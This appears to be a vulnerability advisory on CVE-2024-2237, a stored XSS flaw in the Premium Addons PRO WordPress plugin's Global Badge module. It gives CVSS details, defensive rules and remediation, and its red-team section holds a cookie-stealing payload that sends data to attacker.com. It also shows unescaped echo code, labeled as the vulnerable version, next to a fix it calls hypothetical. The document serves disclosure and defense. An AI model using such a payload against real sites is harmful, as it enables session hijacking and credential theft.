CVE-2024-2237

Executive Summary

CVE-2024-2237 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, affecting all versions up to and including 2.9.12. The flaw resides in the Global Badge module, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available, and patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem specifically through the Premium Addons PRO plugin. As a commercial plugin, it is distributed via the vendor’s website and not through public package registries like NPM or PyPI. Users should verify plugin integrity by checking checksums provided by the vendor and ensure automatic updates are enabled.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit injected page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, once exploited, the stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the Global Badge module of Premium Addons PRO. This module allows users to add badges (e.g., "Sale", "New") to posts or pages. The flaw occurs because user-supplied data (such as badge text or attributes) is not properly sanitized before being stored in the database and later rendered on the frontend.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates or edits a post/page and uses the Global Badge module.
3. The attacker injects malicious JavaScript into a badge field (e.g., <script>alert('XSS')</script>).
4. The plugin stores this payload in the WordPress database without proper escaping.
5. When any user (including administrators) views the affected page, the script executes in their browser.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s escaping functions like esc_html() or wp_kses_post() for badge-related data.

Vulnerable vs. Patched Code

Vulnerable Code (v2.9.12 and earlier):

// In premium-addons-pro/modules/global-badge/global-badge.php
function render_badge() {
    $badge_text = get_post_meta(get_the_ID(), '_premium_global_badge_text', true);
    echo '<span class="premium-global-badge">' . $badge_text . '</span>';
}

Patched Code (hypothetical fix):

function render_badge() {
    $badge_text = get_post_meta(get_the_ID(), '_premium_global_badge_text', true);
    echo '<span class="premium-global-badge">' . esc_html($badge_text) . '</span>';
}

The patched version uses esc_html() to escape the badge text, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Premium Addons PRO <= 2.9.12
• Contributor-level account credentials

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the Global Badge module, set the badge text to:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the post.
5. Wait for an administrator or other user to view the post. The script will execute, sending cookies to the attacker’s server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual badge text containing <script> tags or event handlers.
• Use WAF rules to block common XSS payloads in post meta fields.
• Review contributor-level user activity for suspicious post edits.

Mitigation:

• Disable the Global Badge module until a patch is applied.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress server (e.g., GET /steal?cookie=...).
• Host: Presence of <script> tags in wp_postmeta table for _premium_global_badge_text meta key.
• File: Modified plugin files in /wp-content/plugins/premium-addons-pro/ (though unlikely for this stored XSS).
• Log: WordPress debug log entries showing unexpected output in badge rendering.

Detection Engineering

YARA Rule

rule Detect_Premium_Addons_Pro_XSS {
    meta:
        description = "Detects stored XSS payloads in Premium Addons PRO Global Badge"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2237"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $badge_meta = "_premium_global_badge_text"
    condition:
        $badge_meta and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Premium Addons PRO Global Badge
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via the Global Badge module
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/post.php
        http.body: '*_premium_global_badge_text*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in badge text (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2237 Stored XSS in Premium Addons PRO"; flow:to_server; content:"_premium_global_badge_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Global Badge module in Premium Addons PRO settings until a patch is released.
2. Review and sanitize existing badge text in the database using a script:

   UPDATE wp_postmeta SET meta_value = '' WHERE meta_key = '_premium_global_badge_text' AND meta_value REGEXP '<script';
   

3. Apply a Web Application Firewall (WAF) rule to block XSS payloads in POST requests.

Long-term Fix:

• Update Premium Addons PRO to a patched version once released by the vendor.
• Implement input validation and output escaping for all user-supplied data in custom plugins.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert